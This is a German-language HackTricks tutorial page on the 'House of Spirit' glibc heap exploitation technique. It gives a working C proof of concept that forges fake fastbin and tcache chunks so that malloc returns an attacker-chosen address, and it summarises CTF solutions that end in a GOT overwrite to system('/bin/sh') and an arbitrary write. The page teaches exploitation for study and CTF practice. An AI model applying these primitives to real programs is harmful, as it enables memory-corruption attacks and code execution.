House of Spirit

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Code

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Ziel

- In die tcache / fast bin eine Adresse einfügen können, sodass sie später alloziert werden kann

### Anforderungen

- Dieser Angriff erfordert, dass ein Angreifer ein paar fake fast chunks erstellen kann, die korrekt den size-Wert angeben, und anschließend den ersten fake chunk mit free freigeben kann, sodass er in das bin gelangt.
- Mit **tcache (glibc ≥2.26)** ist der Angriff noch einfacher: es wird nur ein fake chunk benötigt (auf dem tcache-Pfad wird keine next-chunk size-Prüfung durchgeführt), solange der fake chunk 0x10-aligned ist und sein size-Feld in einen gültigen tcache bin fällt (0x20-0x410 auf x64).

### Angriff

- Erstelle fake chunks, die Sicherheitsprüfungen umgehen: im Grunde benötigst du 2 fake chunks, die an den richtigen Stellen die korrekten size-Werte angeben
- Bringe auf irgendeine Weise den ersten fake chunk dazu, mit free in das fast- oder tcache-bin zu gelangen, und allocate ihn dann, um diese Adresse zu überschreiben

**Der Code von** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **ist hervorragend, um den Angriff zu verstehen.** Dieses Schema aus dem Code fasst es ziemlich gut zusammen:

<details>
<summary>Fake chunk layout</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Beachte, dass es notwendig ist, den zweiten Chunk zu erstellen, um einige Sanity-Checks zu umgehen.

Tcache house of spirit (glibc ≥2.26)

  • Bei moderner glibc ruft der tcache fast-path tcache_put auf, bevor die Größe des nächsten Chunks/prev_inuse validiert wird, sodass nur der aktuelle Fake-Chunk plausibel aussehen muss.
  • Anforderungen:
  • Der Fake-Chunk muss auf 16 Bytes ausgerichtet sein und darf nicht mit IS_MMAPPED/NON_MAIN_ARENA markiert sein.
  • size muss zu einem tcache bin gehören und das prev_inuse-Bit gesetzt enthalten (size | 1).
  • Der tcache für diesen Bin darf nicht voll sein (standardmäßig maximal 7 Einträge).
  • Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking stellt hier kein Hindernis dar: der forward pointer, der in tcache gespeichert ist, wird während free automatisch als fd = ptr ^ (heap_base >> 12) kodiert, sodass der Angreifer den Schlüssel nicht kennen muss, wenn er ein einzelnes fake chunk verwendet.
  • Diese Variante ist praktisch, wenn glibc hooks entfernt wurden (≥2.34) und du einen schnellen arbitrary write möchtest oder einen Zielpuffer (z. B. stack/BSS) mit einem tcache chunk überlappen willst, ohne zusätzliche corruptions zu erzeugen.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Durch einen overflow ist es möglich, einen pointer so zu verändern, dass er auf eine GOT address zeigt, um über die read-Aktion des CTF eine libc address zu leak-en.

  • House of Spirit: Durch das Ausnutzen eines Counters, der die Anzahl der “rifles” zählt, ist es möglich, eine fake size des ersten fake chunk zu erzeugen; durch Ausnutzen einer “message” kann die zweite Größe eines Chunks gefaked werden; und schließlich kann durch einen overflow ein pointer verändert werden, der freigegeben wird, sodass unser erster fake chunk freed wird. Dann können wir ihn allocaten und in ihm befindet sich die Adresse, wo “message” gespeichert ist. Anschließend ist es möglich, dies auf den scanf-Eintrag in der GOT-Tabelle zeigen zu lassen, sodass wir ihn mit der Adresse von system überschreiben können.
    Beim nächsten Aufruf von scanf können wir die Eingabe "/bin/sh" senden und eine shell erhalten.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Nicht initialisierter stack buffer.

  • House of Spirit: Wir können den ersten Index eines globalen Arrays von heap pointers modifizieren. Mit einer single byte modification verwenden wir free auf einem fake chunk innerhalb eines valid chunk, sodass wir nach erneutem Allocating eine overlapping chunks-Situation erhalten. Damit funktioniert ein einfacher Tcache poisoning attack, um ein arbitrary write primitive zu erlangen.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks